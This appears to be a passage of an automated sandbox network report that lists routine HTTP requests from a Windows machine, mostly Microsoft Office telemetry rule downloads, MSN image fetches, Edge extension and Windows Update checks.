Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733008002&P2=404&P3=2&P4=WqaJdxZPPOQr9ixdhzwqf7m6737CDQi%2fKpXoA7jSTfC25Ew1VOr84llgJmqY4ZWHYA9eHinyh2GYiVDJBtaOYw%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: MbCHs/lViOvJHTQOjySiAKSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Zx4HCXWKuWNY2K3&MD=W3t8oYWZ HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=92150765&PG=PC000P0FR5.0000000IRU&REQASID=F20FE44A423742BABDCBFFE245380A62&UNID=338389&ASID=cb8d34b9e94f4f8b98ed463538ebf02d&&DS_EVTID=F20FE44A423742BABDCBFFE245380A62&DEVOSVER=10.0.19045.2006&REQT=20241123T230717&TIME=20241123T230740Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
